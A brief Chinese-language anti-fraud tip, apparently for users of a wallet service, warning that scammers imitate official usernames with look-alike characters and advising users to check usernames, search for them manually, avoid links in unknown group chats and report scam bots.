仔细核对用户名，拒绝盲目点击
骗子最擅长使用形近字混淆视觉（例如用字母I代替l、添加下划线或后缀数字）。在使用钱包服务时，务必仔细比对用户名，尽量手动输入官方用户名进行搜索，切勿随意点击未知群聊里的链接。

提高安全防范意识
操作前多核对一次账号，就能规避大部分风险。如遇到涉嫌诈骗的机器人，第一时间举报并拉黑。

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